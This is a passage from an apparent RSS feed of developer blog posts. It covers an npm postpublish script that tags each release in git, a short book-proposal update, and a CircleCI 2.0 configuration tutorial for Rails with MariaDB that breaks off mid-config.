&lt;pre class="language-shell"&gt;&lt;code class="language-shell code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token string"&gt;&amp;quot;postpublish&amp;quot;&lt;/span&gt; &lt;span class="token builtin class-name"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;PACKAGE_VERSION=&lt;span class="token variable"&gt;&lt;span class="token variable"&gt;$(&lt;/span&gt;&lt;span class="token function"&gt;cat&lt;/span&gt; package.json &lt;span class="token operator"&gt;|&lt;/span&gt; &lt;span class="token function"&gt;grep&lt;/span&gt; &lt;span class="token punctuation"&gt;\&lt;/span&gt;&lt;span class="token punctuation"&gt;\&lt;/span&gt;&lt;span class="token punctuation"&gt;\&lt;/span&gt;&amp;quot;version&lt;span class="token punctuation"&gt;\&lt;/span&gt;&lt;span class="token punctuation"&gt;\&lt;/span&gt;&lt;span class="token punctuation"&gt;\&lt;/span&gt;&amp;quot; &lt;span class="token operator"&gt;|&lt;/span&gt; &lt;span class="token function"&gt;head&lt;/span&gt; &lt;span class="token parameter variable"&gt;-1&lt;/span&gt; &lt;span class="token operator"&gt;|&lt;/span&gt; &lt;span class="token function"&gt;awk&lt;/span&gt; -F: &lt;span class="token string"&gt;&amp;#x27;{ print $2 }&amp;#x27;&lt;/span&gt; &lt;span class="token operator"&gt;|&lt;/span&gt; &lt;span class="token function"&gt;sed&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;s/[\&amp;quot;,]//g&amp;#x27;&lt;/span&gt; &lt;span class="token operator"&gt;|&lt;/span&gt; &lt;span class="token function"&gt;tr&lt;/span&gt; &lt;span class="token parameter variable"&gt;-d&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;[[:space:]]&amp;#x27;&lt;/span&gt;&lt;span class="token variable"&gt;)&lt;/span&gt;&lt;/span&gt; &amp;amp;&amp;amp; git tag v&lt;span class="token variable"&gt;$PACKAGE_VERSION&lt;/span&gt; &amp;amp;&amp;amp; git push --tags&amp;quot;&lt;/span&gt;,
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I advise you to read rest of the post to see what this code does. Because blindly coping code from the internet is probably not the smartest thing to do.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Git tags are used as releases on GitHub" class="image" height="958" src="./tags-on-github.png" width="2076" /&gt;&lt;/p&gt;
&lt;h2 id="detailed-explanation"&gt;Detailed explanation &lt;a class="anchor-link" href="#detailed-explanation"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I maintain couple of npm packages, and I wanted to add git tags for every version I publish to npm. It makes things easier to find, and GitHub lists all of them on &amp;quot;Releases&amp;quot; page.&lt;/p&gt;
&lt;p&gt;First thing to solve was to extract current version from &lt;code&gt;package.json&lt;/code&gt;. I found a snippet on the internet and modified it slightly.&lt;/p&gt;
&lt;p&gt;This piece of bash code prints out
&lt;span class="sidenote__text" tabindex="0"&gt;version&lt;/span&gt;&lt;span class="sidenote__note"&gt;&lt;span class="sidenote__note-inner"&gt;&lt;span class="sidenote__note-text"&gt;e.g. &lt;code&gt;1.0.0&lt;/code&gt; or &lt;code&gt;0.1.15&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
from &lt;code&gt;package.json&lt;/code&gt;.
It looks complicated, but don&amp;#x27;t worry, I explained everything bellow.&lt;/p&gt;
&lt;pre class="language-sh"&gt;&lt;code class="language-sh code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token assign-left variable"&gt;PACKAGE_VERSION&lt;/span&gt;&lt;span class="token operator"&gt;=&lt;/span&gt;&lt;span class="token variable"&gt;&lt;span class="token variable"&gt;$(&lt;/span&gt;&lt;span class="token function"&gt;cat&lt;/span&gt; package.json &lt;span class="token punctuation"&gt;\&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token variable"&gt;  &lt;span class="token operator"&gt;|&lt;/span&gt; &lt;span class="token function"&gt;grep&lt;/span&gt; &lt;span class="token punctuation"&gt;\&lt;/span&gt;&amp;quot;version&lt;span class="token punctuation"&gt;\&lt;/span&gt;&amp;quot; &lt;span class="token punctuation"&gt;\&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token variable"&gt;  &lt;span class="token operator"&gt;|&lt;/span&gt; &lt;span class="token function"&gt;head&lt;/span&gt; &lt;span class="token parameter variable"&gt;-1&lt;/span&gt; &lt;span class="token punctuation"&gt;\&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token variable"&gt;  &lt;span class="token operator"&gt;|&lt;/span&gt; &lt;span class="token function"&gt;awk&lt;/span&gt; -F: &lt;span class="token string"&gt;&amp;#x27;{ print $2 }&amp;#x27;&lt;/span&gt; &lt;span class="token punctuation"&gt;\&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token variable"&gt;  &lt;span class="token operator"&gt;|&lt;/span&gt; &lt;span class="token function"&gt;sed&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;s/[&amp;quot;,]//g&amp;#x27;&lt;/span&gt; &lt;span class="token punctuation"&gt;\&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token variable"&gt;  &lt;span class="token operator"&gt;|&lt;/span&gt; &lt;span class="token function"&gt;tr&lt;/span&gt; &lt;span class="token parameter variable"&gt;-d&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;[[:space:]]&amp;#x27;&lt;/span&gt;&lt;span class="token variable"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token builtin class-name"&gt;echo&lt;/span&gt; &lt;span class="token variable"&gt;$PACKAGE_VERSION&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I wasn&amp;#x27;t sure what certain lines do, so I did
&lt;span class="sidenote__text" tabindex="0"&gt;some research&lt;/span&gt;&lt;span class="sidenote__note"&gt;&lt;span class="sidenote__note-inner"&gt;&lt;span class="sidenote__note-text"&gt;Again, I don't like blindly pasting code snippets I find on the internet. You should be careful with that.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
and here is code explained.&lt;/p&gt;
&lt;pre class="language-sh"&gt;&lt;code class="language-sh code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;# prints whole package json&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token function"&gt;cat&lt;/span&gt; package.json
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;# filters lines with &amp;quot;version&amp;quot; in them (can be multiple lines)&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token function"&gt;grep&lt;/span&gt; &lt;span class="token punctuation"&gt;\&lt;/span&gt;&amp;quot;version&lt;span class="token punctuation"&gt;\&lt;/span&gt;&amp;quot;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;# pulls only the first line (leaves us with &amp;quot;version&amp;quot;: &amp;quot;2.0.3&amp;quot;,)&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token function"&gt;head&lt;/span&gt; &lt;span class="token parameter variable"&gt;-1&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;# splits string by &amp;quot;:&amp;quot; and prints the second part (leaves us with &amp;quot;2.0.3&amp;quot;,)&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token function"&gt;awk&lt;/span&gt; -F: &lt;span class="token string"&gt;&amp;#x27;{ print $2 }&amp;#x27;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;# removes &amp;quot; and , (leaves us with 2.0.3)&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token function"&gt;sed&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;s/[&amp;quot;,]//g&amp;#x27;&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token comment"&gt;# removes any leftover spaces and new lines&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token function"&gt;tr&lt;/span&gt; &lt;span class="token parameter variable"&gt;-d&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;[[:space:]]&amp;#x27;&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id="add-it-to-packagejson"&gt;Add it to package.json &lt;a class="anchor-link" href="#add-it-to-packagejson"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To automate this and add tag after every publish to npm, we&amp;#x27;ll use &lt;code&gt;postpublish&lt;/code&gt; script. It is supported by npm, and it will be executed after every &lt;code&gt;npm publish&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Only thing left to do is to add tag and push it to origin. I added letter &lt;code&gt;v&lt;/code&gt; in front of version number (to make tag prettier).&lt;/p&gt;
&lt;pre class="language-sh"&gt;&lt;code class="language-sh code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token function"&gt;git&lt;/span&gt; tag &lt;span class="token function"&gt;v&lt;/span&gt;&lt;span class="token variable"&gt;$PACKAGE_VERSION&lt;/span&gt;
&lt;/span&gt;&lt;span class="code-line"&gt;&lt;span class="token function"&gt;git&lt;/span&gt; push &lt;span class="token parameter variable"&gt;--tags&lt;/span&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After we put everything to one line (and escape quotes) it looks like this:&lt;/p&gt;
&lt;pre class="language-shell"&gt;&lt;code class="language-shell code-highlight"&gt;&lt;span class="code-line"&gt;&lt;span class="token string"&gt;&amp;quot;postpublish&amp;quot;&lt;/span&gt; &lt;span class="token builtin class-name"&gt;:&lt;/span&gt; &lt;span class="token string"&gt;&amp;quot;PACKAGE_VERSION=&lt;span class="token variable"&gt;&lt;span class="token variable"&gt;$(&lt;/span&gt;&lt;span class="token function"&gt;cat&lt;/span&gt; package.json &lt;span class="token operator"&gt;|&lt;/span&gt; &lt;span class="token function"&gt;grep&lt;/span&gt; &lt;span class="token punctuation"&gt;\&lt;/span&gt;&lt;span class="token punctuation"&gt;\&lt;/span&gt;&lt;span class="token punctuation"&gt;\&lt;/span&gt;&amp;quot;version&lt;span class="token punctuation"&gt;\&lt;/span&gt;&lt;span class="token punctuation"&gt;\&lt;/span&gt;&lt;span class="token punctuation"&gt;\&lt;/span&gt;&amp;quot; &lt;span class="token operator"&gt;|&lt;/span&gt; &lt;span class="token function"&gt;head&lt;/span&gt; &lt;span class="token parameter variable"&gt;-1&lt;/span&gt; &lt;span class="token operator"&gt;|&lt;/span&gt; &lt;span class="token function"&gt;awk&lt;/span&gt; -F: &lt;span class="token string"&gt;&amp;#x27;{ print $2 }&amp;#x27;&lt;/span&gt; &lt;span class="token operator"&gt;|&lt;/span&gt; &lt;span class="token function"&gt;sed&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;s/[\&amp;quot;,]//g&amp;#x27;&lt;/span&gt; &lt;span class="token operator"&gt;|&lt;/span&gt; &lt;span class="token function"&gt;tr&lt;/span&gt; &lt;span class="token parameter variable"&gt;-d&lt;/span&gt; &lt;span class="token string"&gt;&amp;#x27;[[:space:]]&amp;#x27;&lt;/span&gt;&lt;span class="token variable"&gt;)&lt;/span&gt;&lt;/span&gt; &amp;amp;&amp;amp; git tag v&lt;span class="token variable"&gt;$PACKAGE_VERSION&lt;/span&gt; &amp;amp;&amp;amp; git push --tags&amp;quot;&lt;/span&gt;,
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add it to &lt;code&gt;&amp;quot;scripts&amp;quot;&lt;/code&gt; in you your &lt;code&gt;package.json&lt;/code&gt;. And that&amp;#x27;s it, every time you do &lt;code&gt;npm publish&lt;/code&gt; this script will add version tag and push it to origin.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Thu, 12 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/add-git-version-tag-after-publishing-to-npm/</guid></item><item><title>5000 concepts for Europe: update 2018/07/11</title><link>https://stop.zona-m.net/2018/07/5000-concepts-for-europe-update-2018/07/11/</link><description>&lt;p&gt;Below please find the &lt;strong&gt;over SEVEN HUNDRED&lt;/strong&gt; suggestions received so far for my proposal of a &lt;a href="https://stop.zona-m.net/2017/12/5000-concepts-for-europe-a-book-proposal"&gt;&amp;ldquo;5000 concepts for Europe&amp;rdquo; book&lt;/a&gt;.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 12 Jul 2018 02:30:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/5000-concepts-for-europe-update-2018/07/11/</guid></item><item><title>Running rails tests under CircleCI 2.0 with MariaDB</title><link>https://caiustheory.com/running-rails-tests-under-circleci-2.0-with-mariadb/</link><description>&lt;p&gt;&lt;a href="https://circleci.com"&gt;CircleCI&lt;/a&gt; have released their version 2.0 platform, which is based on top of docker and moves the configuration for each project into a config file in the git repository.&lt;/p&gt;
&lt;p&gt;They have a bunch of documentation at &lt;a href="https://circleci.com/docs/2.0/"&gt;https://circleci.com/docs/2.0/&lt;/a&gt;. Basic gist is the config file lives at &lt;code&gt;.circleci/config.yml&lt;/code&gt; and defines which images to run a series of commands in. You can either specify jobs to run in series, or a workflow containing jobs which can depend on each other and/or run in parallel.&lt;/p&gt;
&lt;p&gt;The first step is finding a base image that contains ruby, node and chrome/chromedriver so the the app runs, assets compile and rails feature specs work respectively.&lt;/p&gt;
&lt;p&gt;The available images for ruby are listed at &lt;a href="https://github.com/CircleCI-Public/circleci-dockerfiles/tree/master/ruby/images"&gt;https://github.com/CircleCI-Public/circleci-dockerfiles/tree/master/ruby/images&lt;/a&gt;, and the mariadb images are listed at &lt;a href="https://github.com/CircleCI-Public/circleci-dockerfiles/tree/master/mariadb/images"&gt;https://github.com/CircleCI-Public/circleci-dockerfiles/tree/master/mariadb/images&lt;/a&gt;. For the ruby images you&amp;rsquo;ll want to use the &lt;code&gt;…-node-browsers&lt;/code&gt; image as it has Node.js for assets and Chrome/chromedriver installed for headless browser testing.&lt;/p&gt;
&lt;p&gt;So the start of our config file looks something like the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;working_directory&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"~/project"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;docker&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"circleci/ruby:2.4.1-node-browsers"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;RAILS_ENV&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"test"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mariadb:10.2.12"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;MYSQL_DATABASE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"app_test"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;MYSQL_USER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"root"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;MYSQL_ALLOW_EMPTY_PASSWORD&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;MYSQL_HOST&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"localhost"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once we have that then we can start on setting up our rails environment to the point we can run tests. First of all we need to install all our ruby dependencies via &lt;a href="https://bundler.io"&gt;bundler&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;jobs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Install ruby dependencies"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bundle install --path vendor/bundle"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then we need to install our JS dependencies via &lt;a href="https://yarnpkg.com/lang/en/"&gt;yarn&lt;/a&gt;, in much the same way as we did for the ruby dependencies.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Install js dependencies"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"yarn install"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then we need to sort out our database. There&amp;rsquo;s a chance that the docker instance for MariaDB hasn&amp;rsquo;t come up yet, so we can lean on a tool called &lt;code&gt;dockerize&lt;/code&gt; to wait for it to be available. Then we can ask rails to go ahead and setup our test database.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Wait for database to be available"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dockerize -wait tcp://127.0.0.1:3306 -timeout 1m"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Setup database"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bundle exec rake db:setup"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And then finally we can run our tests as the final step.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Run tests"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bundle exec rspec"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Putting it all together, we have the following in &lt;code&gt;.circleci/config.yml&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-yaml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;working_directory&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"~/project"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;docker&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"circleci/ruby:2.4.1-node-browsers"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;RAILS_ENV&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"test"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"mariadb:10.2.12"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;environment&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
